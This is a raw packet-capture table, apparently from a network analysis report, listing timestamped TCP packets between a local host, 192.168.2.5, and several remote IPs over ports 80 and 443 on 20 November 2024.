Nov 20, 2024 08:09:03.883512974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883594036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883606911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883608103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.883620977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883635998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883651972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.883675098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.883806944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883819103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883831024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883841991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883851051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.883853912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.883873940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.883891106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.884011030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.884026051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.884037018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.884047031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.884094954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.884114981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915050030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915083885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915098906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915177107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915206909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915226936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915239096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915251970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915266037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915278912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915370941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915383101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915394068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915410042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915433884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915519953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915533066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915541887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915560007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915587902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915596962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915608883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915620089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915628910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915631056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915643930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915652037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915657043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.915678978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.915697098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916011095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916023016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916033983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916044950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916053057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916057110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916066885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916070938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916079044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916089058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916090965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916100979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916121960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916146040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916382074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916394949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916424036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916620016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916631937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916642904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916654110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916662931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916663885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916678905 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916681051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916693926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916704893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916712046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916712046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916718006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916728973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916734934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916745901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.916754961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916763067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.916789055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917220116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917236090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917247057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917258024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917260885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917269945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917282104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917284012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917294025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917304993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917313099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917315960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917327881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917327881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917341948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917352915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917378902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917773962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917784929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917789936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917795897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917800903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917805910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917810917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917820930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917826891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917836905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917846918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917857885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917857885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917870045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.917881012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917895079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.917920113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947071075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947113991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947124958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947154999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947175026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947182894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947196007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947206974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947220087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947227001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947242975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947268009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947382927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947396040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947407961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947417021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947422028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947432995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947453022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947508097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947527885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947539091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947544098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947552919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947556973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947576046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947592020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947757959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947771072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947808027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947839975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947851896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947860956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947871923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947874069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947884083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947890043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947896004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947907925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947917938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947921038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.947932959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.947964907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.948211908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.948270082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.950531006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.950572968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:03.950592995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:03.950608969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:05.113800049 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.113833904 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.113900900 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.114120960 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.114126921 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.294063091 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.294121981 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.294193029 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.294631958 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.294692993 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.294747114 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.294874907 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.294887066 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.295017958 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.295036077 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.341830969 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.341877937 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.341942072 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.342195034 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.342205048 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.814838886 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.820529938 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.820555925 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.821588993 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.821656942 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.823829889 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.823893070 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.824106932 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.824115038 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.877042055 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.965210915 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.965243101 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.980186939 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.988485098 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.988517046 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.989641905 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.989722013 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.992711067 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:05.992737055 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.993835926 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:05.993901014 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.016372919 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.016387939 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.016959906 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.017231941 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.017247915 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.017350912 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.017421007 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.017488956 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.058595896 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.058608055 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.072594881 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.072607040 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.077939987 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.078089952 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.081630945 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.082051039 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.120496988 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.120626926 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.120675087 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.123336077 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.123356104 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.130072117 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.130100012 CET	443	49711	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.162108898 CET	49708	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.162147045 CET	443	49708	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.175008059 CET	49711	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.288984060 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.289309025 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.289366007 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.290313959 CET	49709	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.290348053 CET	443	49709	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.303258896 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.303322077 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.303358078 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.303380013 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.303407907 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.303503036 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.303514004 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.309138060 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.309190989 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.309201002 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.309356928 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.309474945 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.309482098 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.314716101 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.314769983 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.314784050 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.318753958 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.318797112 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.318808079 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.366957903 CET	49674	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:09:06.366974115 CET	49675	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:09:06.366976976 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.389472961 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.392472029 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.392535925 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.392556906 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.398946047 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.398978949 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.399003029 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.399036884 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.399075985 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.405066013 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.411339998 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.411401033 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.411412954 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.417535067 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.417587042 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.417602062 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.423279047 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.423438072 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.423472881 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.423495054 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.423535109 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.429024935 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.434726000 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.434779882 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.434796095 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.440443039 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.440490961 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.440515995 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.446136951 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.446199894 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.446197987 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.446228027 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.446274042 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.452001095 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.471138000 CET	49673	443	192.168.2.5	23.1.237.91
Nov 20, 2024 08:09:06.476500988 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.476576090 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.476608038 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.476699114 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.476736069 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.476759911 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.476769924 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.476805925 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.479341030 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.484244108 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.484299898 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.484332085 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.489988089 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.490047932 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.490089893 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.495672941 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.495712996 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.495729923 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.495763063 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.495800972 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.508491039 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.508569002 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.508608103 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.508639097 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.508661985 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.508698940 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.512548923 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.518167973 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.518204927 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.518254042 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.518269062 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.518306017 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.523473024 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.537776947 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.537811995 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.537832975 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.537848949 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.537859917 CET	443	49710	142.250.186.68	192.168.2.5
Nov 20, 2024 08:09:06.537894964 CET	49710	443	192.168.2.5	142.250.186.68
Nov 20, 2024 08:09:06.539056063 CET	443	49710	142.250.186.68	192.168.2.5
